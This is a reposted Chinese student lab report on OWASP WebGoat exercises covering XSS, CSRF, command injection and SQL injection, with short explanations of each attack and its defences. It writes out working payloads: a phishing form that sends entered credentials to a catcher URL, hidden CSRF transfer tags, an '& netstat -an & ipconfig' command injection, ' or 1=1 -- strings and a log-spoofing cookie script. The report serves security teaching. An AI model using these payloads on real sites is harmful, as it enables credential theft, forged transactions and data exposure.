2018-2019 20165226 Exp9 Web安全基礎

2018-2019 20165226 Exp9 Web安全基礎

目錄


一、實驗內容說明及基礎問題回答

二、實驗過程

  • Webgoat準備

  • XSS攻擊
    • ① Phishing with XSS 跨站腳本釣魚攻擊
    • ② Stored XSS Attacks 存儲型XSS攻擊
    • ③ Reflected XSS Attacks 反射型XSS攻擊
  • CSRF攻擊
    • ① Cross Site Request Forgery(CSRF)
    • ② CSRF Prompt By-Pass
  • SQL注入攻擊
    • ① Command Injection 命令注入
    • ② Numeric SQL Injection
    • ③ Log Spoofing 日志欺騙
    • ④ String SQL Injection 字符串型注入
    • ⑤ LAB:SQL Injection

三、問題與思考

四、實驗總結



一、實驗內容說明及基礎問題回答


1、實驗內容

本實踐的目標理解常用網絡攻擊技術的基本原理。Webgoat實踐下相關實驗。

2、基礎問題回答
(1)SQL注入攻擊原理,如何防御

  • 原理:
    • 通過在用戶名、密碼登輸入框中輸入一些',--,#等特殊字符,實現引號閉合、注釋部分SQL語句,利用永真式實現登錄、顯示信息等目的。其實就是輸入框中的字符提交到后臺的數據庫中會與SQL語句組合拼接,針對程序員編程時的疏忽,通過SQL語句,實現無帳號登錄,甚至篡改數據庫。
  • 防御辦法:
    • 使用正則表達式過濾傳入的參數;檢查是否包函非法字符,在后臺控制輸入的長度或者禁止用戶輸入一些特殊符號,例如 -- 、' 等
    • 摒棄動態SQL語句,而改用用戶存儲過程來訪問和操作數據。這需要在建立數據庫后,仔細考慮Web程序需要對數據庫進行的各種操作,并為之建立存儲過程,然后讓Web程序調用存儲過程來完成數據庫操作。

(2)XSS攻擊的原理,如何防御

  • 原理:
    • 攻擊者往Web頁面里插入惡意html標簽或者javascript代碼,當用戶瀏覽該頁或者進行某些操作時,攻擊者利用用戶對原網站的信任,誘騙用戶或瀏覽器執行一些不安全的操作或者向其它網站提交用戶的私密信息。
  • 防御辦法:
    • 當惡意代碼值被作為某一標簽的內容顯示:在不需要html輸入的地方對html 標簽及一些特殊字符( ” < > & 等等 )做過濾,將其轉化為不被瀏覽器解釋執行的字符。
    • 當惡意代碼被作為某一標簽的屬性顯示,通過用 “將屬性截斷來開辟新的屬性或惡意方法:屬性本身存在的 單引號和雙引號都需要進行轉碼;對用戶輸入的html 標簽及標簽屬性做白名單過濾,也可以對一些存在漏洞的標簽和屬性進行專門過濾。

(3)CSRF攻擊原理,如何防御

  • 原理:
    • CSRF就是冒名登錄。跨站請求偽造的核心本質是竊取用戶的Session,或者說Cookie,因為目前主流情況> Session都是存在Cookie中.攻擊者并不關心被害者具體帳號和密碼,因為一旦用戶進行了登錄,Session就是用戶的唯一憑證,只要攻擊者能夠得到Session,就可以偽裝成被害者進入服務器.
    • 主要是當訪問網站A時輸入用戶名和密碼,在通過驗證后,網站A產生Cookie信息并返回,此時登錄網站A成功,可正常發送請求到網站A。在未退出網站A前,若訪問另一個網站B,網站B可返回一些攻擊性代碼并請求訪問網站A;因此在網站B的請求下,向網站A發出請求。但網站A不知道該請求惡意的,因此還是會執行該惡意代碼
  • 防御辦法:
    • 通過 referer、token 或者 驗證碼 來檢測用戶提交。
    • 盡量不要在頁面的鏈接中暴露用戶隱私信息。
    • 對于用戶修改刪除等操作最好都使用post 操作 。
    • 避免全站通用的cookie,嚴格設置cookie的域。

返回目錄



二、實驗過程

WebGoat準備

  • 介紹:WebGoat是OWASP組織研制出的用于進行web漏洞實驗的應用平臺,用來說明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本攻擊(XSS)、訪問控制、線程安全、操作隱藏字段、操縱參數、弱會話cookie、SQL盲注、數字型SQL注入、字符串型SQL注入、web服務、Open Authentication失效、危險的HTML注釋等等。WebGoat提供了一系列web安全學習的教程,某些課程也給出了視頻演示,指導用戶利用這些漏洞進行攻擊。

  • 下載webgoat-container-7.0.1-war-exec.jar文件
    1047870-20190520191215936-365929073.png

  • 在含有該文件的目錄下使用命令java -jar webgoat-container-7.0.1-war-exec.jar運行Webgoat,出現信息: Starting ProtocolHandler ["http-bio-8080"]說明開啟成功,可以看到占用8080端口,實驗過程中不能關閉終端

1047870-20190520191258343-394225881.png

  • 在瀏覽器中輸入http://localhost:8080/WebGoat進入WebGoat登錄界面,直接用默認用戶名密碼登錄即可
    1047870-20190520193129403-2122848132.png

XSS攻擊

跨站腳本攻擊是通過HTML注入劫持用戶的瀏覽器,任意構造用戶當前瀏覽的HTML內容,可以模擬用戶當前的操作。這里實驗的是一種獲取用戶名和密碼的攻擊。

① Phishing with XSS 跨站腳本釣魚攻擊

  • 在webgoat找到Cross-Site Scripting (xss)攻擊打開第一個——Phishing with XSS
  • 將下面這段代碼輸入到Search:輸入框中,點擊search
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div> <div style="float:left;height:100px;width:50%;background-color:orange;"></div> </div> <div style="background-color:grey;height:200px;clear:both;"></div>   </div></div> </form>   <script> function hack(){  XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.???ˉ??????????ˉ??????????ˉ??????????ˉ??????????ˉ??????????ˉ??????? Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); }    </script> <form name="phish"> <br> <br> <HR>   <H2>This feature requires account login:</H2> <br>   <br>Enter Username:<br>   <input type="text" name="user">   <br>Enter Password:<br>   <input type="password" name = "pass"> <br>   <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>

結果會出現代碼中所指定的黃、橙、灰三塊div,并在下方出現了用于欺騙用戶的提示語“This feature requires account login:”和用戶名、密碼輸入框。
1047870-20190521161106957-688801229.png
1047870-20190521161110051-1365676482.png

  • 如果真的在登錄框中輸入用戶名、密碼,eg:20165226 123456,點擊登錄后,會像代碼中alert提示的,顯示被竊取的用戶名和密碼。
    1047870-20190521161116694-2132250295.png

② Stored XSS Attacks 存儲型XSS攻擊
存儲型XSS的攻擊基本流程:

1、比如在某個論壇提供留言板功能,黑客在留言板內插入惡意的html或者Javascript代碼,并且提交。
2、網站后臺程序將留言內容存儲在數據中
3、然后一個用戶也訪問這個論壇,并刷新了留言板,這時網站后臺從數據庫中讀取了之前黑客的留言內容,并且直接插入在html頁面中,這就可能導致:黑客留言的腳本本身應該作為內容顯示在留言板的,但此時黑客的留言腳本被瀏覽器解釋執行。

黑客的腳本可以用來做如下所述的攻擊:

1.通過javascript獲取用戶的cookie,根據這個cookie竊取用戶信息
2.重定向網站到一個釣魚網站
3.重新更改頁面內容,假裝讓客戶輸入用戶名,密碼,然后提交到黑客的服務器

  • 打開Cross-Site Scripting (xss)攻擊中的第二個:Stored XSS Attacks
  • Message框中輸入上面那段代碼,并點擊submitTitle隨便輸入
  • 提交后,下方Message List中會新增剛輸入的Tile名字的鏈接,點擊鏈接。
    1047870-20190521161129111-241729006.png

  • 可以看到我們的html已經注入成功,messege部分顯示的是三色框,在下方用戶名密碼處輸入,eg:20165226 123456,點擊提交后,被成功獲取用戶名和密碼:
    1047870-20190521161133031-1393006803.png

③ Reflected XSS Attacks 反射型XSS攻擊
反射型XSS:

我們在訪問一個網頁的時候,在URL后面加上參數,服務器根據請求的參數值構造不同的HTML返回。
value可能出現在返回的HTML(可能是JS,HTML某元素的內容或者屬性)中,
如果將value改成可以在瀏覽器中被解釋執行的東西,就形成了反射型XSS.
別人可能修改這個value值,然后將這個惡意的URL發送給你,當URL地址被打開時,
特有的惡意代碼參數就會被HTML解析執行.
它的特點是非持久化,必須用戶點擊帶有特定參數的鏈接才能引起。

存儲型XSS與反射型XSS的區別:

①存儲型XSS,持久化,代碼是存儲在服務器中的,如在個人信息或發表文章等地方,加入代碼,如果沒有過濾或過濾不嚴,那么這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險,容易造成蠕蟲,盜竊cookie等。

②反射型XSS,非持久化,需要欺騙用戶自己去點擊鏈接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),一般容易出現在搜索頁面。

  • 打開xss的第三個攻擊Reflected XSS Attacks

  • 在“Enter your three digit access code:”中輸入點擊Purchase,成功顯示警告框,內容為我們script腳本指定的內容:
    1047870-20190521161717456-1798950713.png


CSRF攻擊

跨站請求偽造,盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防范的資源也相當稀少)和難以防范,所以被認為比XSS更具危險性。

① Cross Site Request Forgery(CSRF)

  • 打開Cross-Site Scripting (xss)攻擊中的第四個:Cross Site Request Forgery(CSRF)
  • 查看頁面下方Parameters中的src和menu值,分別為293和900
    1047870-20190521162327549-159401810.png

  • message框中輸入
<img src="http://localhost:8080/WebGoat/attack?Screen=293&menu=900&transferFunds=5000" width="1" height="1" />

以圖片的的形式將URL放進Message框,這時的URL對其他用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件,點擊Submit提交
- 這里src值、menu值要根據上一步查看的結果修改,轉賬數額隨便輸入,eg:5000
- 寬高設置成1像素的目的是隱藏該圖片

  • 提交后,在Message List中生成以Title命名的鏈接(消息)。點擊該消息,當前頁面就會下載這個消息并顯示出來,轉走用戶的5000元,從而達到CSRF攻擊的目的。
    1047870-20190521162501130-167476356.png

② CSRF Prompt By-Pass

  • 打開Cross-Site Scripting (xss)攻擊中的第五個:CSRF Prompt By-Pass
  • 同攻擊4,查看頁面下側Parameters中的srcmenu值(323和900)
    1047870-20190521163024309-1172743694.png

  • 在title框中輸入學號,message框中輸入代碼
<iframe src="attack?Screen=323&menu=900&transferFunds=6000"> </iframe>
<iframe src="attack?Screen=323&menu=900&transferFunds=CONFIRM"> </iframe>
  • 在Message List中生成以Title命名的鏈接"20165226"。
  • 點擊進入后,如圖攻擊成功:
    1047870-20190521163029938-853596125.png

SQL注入攻擊

SQL注入攻擊是黑客對數據庫進行攻擊的常用手段之一。隨著B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由于程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。

① Command Injection 命令注入

  • 右鍵點擊頁面,選擇inspect Element審查網頁元素對源代碼進行修改,在復選框中任意一欄的代碼后添加"& netstat -an & ipconfig"
    1047870-20190521164352842-468168884.png

  • 點擊view,能看到網絡端口使用情況和 IP 地址,攻擊成功
    1047870-20190521164412265-51655215.png

② Numeric SQL Injection

顯示所有城市的天氣情況

  • 右鍵點擊頁面,選擇inspect Element審查網頁元素對源代碼進行修改,在選中的城市編號Value值中添加or 1=1
    1047870-20190521165600870-460211436.png

  • 攻擊成功,顯示所有城市的天氣情況
    1047870-20190521165615954-1208773776.png

③ Log Spoofing 日志欺騙

通過查看下方灰色區域,我們分析它代表在 Web 服務器的日志中的記錄的內容。

目的:使用戶名為“admin” 的用戶在日志中顯示“成功登錄”。

方法:通過在日志文件中插入腳本實現。

  • 在username中填入 5226%0d%0aLogin Succeeded for username: admin`,利用回車(0D%)和換行符(%0A)讓其在日志中兩行顯示
    1047870-20190521170014492-1612658770.png

  • 點擊Login,可見5226在Login Fail那行顯示,我們自己添加的語句在下一行顯示
    1047870-20190521170017633-487571139.png

  • 可以向日志文件中添加惡意腳本,腳本的返回信息管理員能夠通過瀏覽器看到。用戶名輸入admin <script>alert(document.cookie)</script>,管理員可以看到彈窗的cookie信息。

④ String SQL Injection 字符串型注入

目的:嘗試通過 SQL 注入將所有信用卡信息顯示出來。

方法:基于以下查詢語句構造自己的 SQL 注入字符串。SELECT * FROM user_data WHERE last_name = '?'

  • 選擇Injection Flaws中的String SQL Injection
  • 輸入查詢的用戶名lxs' or 1=1--
    如此lxs1=1都成了查詢的條件,而1=1是恒等式,這樣就能select表里面的所有數據。
    1047870-20190521170619327-1405695419.png

⑤ LAB:SQL Injection

  • 將密碼長度maxlength改為200
    1047870-20190521171057327-566465806.png

  • 在密碼框輸入' or 1=1 --
    1047870-20190521171059912-2047916415.png

返回目錄



三、問題與思考

  • 下載jar包后運行中主目錄中沒有所需的攻擊列表,卸載重裝,然后重啟了n次還是這個界面,無解
    1047870-20190521171258779-710422043.png

  • 分析:電腦jdk版本和 這個jar的jdk版本不同
  • 解決方案:換了虛擬機,然后OK

返回目錄

四、實驗總結

通過本次實驗學習了使用WebGoat工具進行SQL注入攻擊、XSS攻擊、CSRF攻擊,主要攻擊方法便是利用語句漏洞。總體挺有意思,對SQL語句格式有了更深掌握。
返回目錄



轉載于:https://www.cnblogs.com/musea/p/10894338.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/279496.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/279496.shtml
英文地址,請注明出處:http://en.pswp.cn/news/279496.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

用 git 同步 Colab 與 Gitlab、Github 之間的文件

Colab 是谷歌提供的免費 Jupyter 服務&#xff0c;可使用 GPU。但由于每次的 VM &#xff08;虛擬機&#xff09;登出后所有文件都會連同&#xff36;&#xff2d;被毀掉。如何將一個項目里的程序或數據同步到 Colab則往往比較麻煩。盡管谷歌盤也可以掛到 Colab 里用&#xff0…

keep-alive使用_如何使用Google Keep進行無憂筆記

keep-alive使用There are a lot of note-taking apps out there. Google Keep may not be as powerful as services like Evernote, but its value is in its simplicity. Let’s talk about how to make the most of it. 那里有很多筆記應用程序。 Google Keep可能不如Evernot…

ZedGraph在項目中的應用

ZedGraph在項目中的應用將數據庫數據提取出來&#xff0c;顯示成曲線圖&#xff08;餅狀、柱狀或立體圖&#xff09;是項目中最常見的需求。 網上搜索到的解決方法&#xff0c;大多歸為兩類&#xff0c;一種是利用ActiveX組件&#xff0c;另一種是使用.net框架自帶的畫圖的類。…

TCP/IP:IP多播選路

本節主要討論多播選路&#xff0c;是在整個互聯網上的多播&#xff0c;我們將討論mrouted程序的執行&#xff0c;該程序計算多播路由表&#xff0c;以及再網絡之間轉發多播數據包的內核函數。 多播輸出處理 這個和IGMP的輸出處理類似&#xff0c;主要要注意有環回的多播輸出和沒…

Leetcode#832. Flipping an Image(翻轉圖像)

題目描述 給定一個二進制矩陣 A&#xff0c;我們想先水平翻轉圖像&#xff0c;然后反轉圖像并返回結果。 水平翻轉圖片就是將圖片的每一行都進行翻轉&#xff0c;即逆序。例如&#xff0c;水平翻轉 [1, 1, 0] 的結果是 [0, 1, 1]。 反轉圖片的意思是圖片中的 0 全部被 1 替換&a…

數據安全 數據銷毀_如何安全銷毀敏感數據CD / DVD?

數據安全 數據銷毀You have a pile of DVDs with sensitive information on them and you need to safely and effectively dispose of them so no data recovery is possible. What’s the most safe and efficient way to get the job done? 您有一堆DVD&#xff0c;上面有敏…

cannot find -lunwind-x86_64

錯誤代碼&#xff1a;; }) libtool: install: /usr/bin/install -c .libs/libunwind.lai /usr/local/lib/libunwind.la libtool: install: warning: relinking libunwind-setjmp.la libtool: install: (cd /down/libunwind-1.0/src; /bin/sh /down/libunwind-1.0/libtool --…

動態切換父元素隱藏和顯示里面的子元素的動畫會再一次執行嗎?

代碼&#xff1a;完整代碼:<!DOCTYPE html> <html> <head> <meta charset"UTF-8"> <title></title> <style type"text/css"> *{ margin: 0; padding: 0; } .box{ background-color: #00B83F; } .flag{ position…

MAD huashi

name1 input("請輸入一個名字") name2 input("請輸入一個名詞") name3 input("請輸入一個形容詞") name4 input("請輸入一個名字") name5 input("請輸入一個名字") name6 input("請輸入一個長輩名字") name…

如何使用QuickConnect遠程訪問Synology NAS

Your Synology NAS includes a QuickConnect feature that lets you access its DiskStation Manager interface remotely. Here’s how to set it up. Synology NAS包含快速連接功能&#xff0c;可讓您遠程訪問其DiskStation Manager界面。 設置方法如下。 You were likely gr…

深入MySQL存儲引擎分析鎖和排序的原理

幾個問題 為什么不建議使用訂單號作為主鍵?為什么要在需要排序的字段上加索引?for update 的記錄不存在會導致鎖住全表?redolog 和 binlog 有什么區別?MySQL 如何回滾一條 sql ?char(50) 和 varchar(50) 效果是一樣的么?索引知識回顧 對于 MySQL 數據庫而言,數據是存儲在…

網絡編程介紹

1. 目標:編寫一個C/S架構的軟件 C/S: Client--------基于網絡----------Server B/S: Browser-------基于網絡----------Server2. 服務端需要遵循的原則: 1. 服務端與客戶端都需要有唯一的地址,但是服務端的地址必須固定/綁定 2. 對外一直提供服務,穩定運行 3. 服…

[Web開發] MySpace 發布開發接口

2007年風頭最盛的Web 2.0公司應該就是Facebook &#xff0c;其一炮走紅的絕招就是它的開發平臺。 開發者可以為Facebook 加入各種插件&#xff0c;豐富Facebook 。為了對抗 Facebook &#xff0c; 社交網站的老大Myspace 也推出了自己開發平臺 http://developer.myspace.com/c…

css段落縮進_如何縮進Google文檔中的段落

css段落縮進Indenting paragraphs in Google Docs requires access to the ruler, which you’ll only find in the full web version. The ruler is not present in the mobile apps. 在Google文檔中縮進段落需要訪問標尺&#xff0c;而標尺只能在完整的網絡版本中找到。 標尺…

卡包模板

$json_data array(); $json_data[request_id] date(YmdHis).mt_rand(10000,99999); $json_data[card_type] OUT_MEMBER_CARD; $json_data[biz_no_prefix] prex; $json_data[biz_no_suffix_len] 10; $json_data[write_off_type] qrcode; #qrcode: 二維碼 dqrcode: 動態二維…

暑假個人小結

今天。。。不&#xff0c;是昨天&#xff0c;聶老大讓我們寫暑期總結 其中有這么一個 &#xff08;300字啊。。。我得好好想想怎么編&#xff09; 嘛&#xff0c;在這寫點不敢交上去的內容吧。 7月總結 我收獲了什么 很多課件 兩個qq群 slay.one被人虐 聯盟無畏先鋒的號到了20級…

php-fpm with php-5.3.2 + APC

php-fpm 現在php官方內部已經出版本了&#xff0c;據說以后會出現在 php core 里&#xff0c;如果現在安裝的話&#xff0c;可以svn得到最新代碼,我搶先為快。 至于緩存&#xff0c;我用的facebook 試用的apc 測試了一段時間還很&#xff0c;滿意。wget ftp://ftp.csx.cam.ac.u…

kotlin 初始化數組

為什么80%的碼農都做不了架構師&#xff1f;>>> //初始化5個元素的數組&#xff0c;每個都為"0" val a:Array<String> Array(5, {"0"}) // val a:Array<String> Array(5, {"0"}) println(a.joinToString(separator &…

Tomcat - Tomcat安裝

Tomcat官網&#xff1a;http://tomcat.apache.org/ 準備&#xff1a;JAVA環境布置完成 一、Windows平臺 1. 版本選擇 1&#xff09; 進入官網 2&#xff09; 查看版本匹配 官網說明 https://tomcat.apache.org/whichversion.html 3&#xff09; 需要查看已安裝JAVA版本請打開終…

sonos 服務器_如何在Sonos上收聽有聲讀物

sonos 服務器Audible, Amazon’s subscription audiobook service, was conspicuously absent from Sonos for the last few years. Thankfully, it’s now back. Here’s how to use it. 過去幾年&#xff0c;Sonos明顯缺少Amazon的訂閱有聲讀物服務Audible。 幸運的是&#x…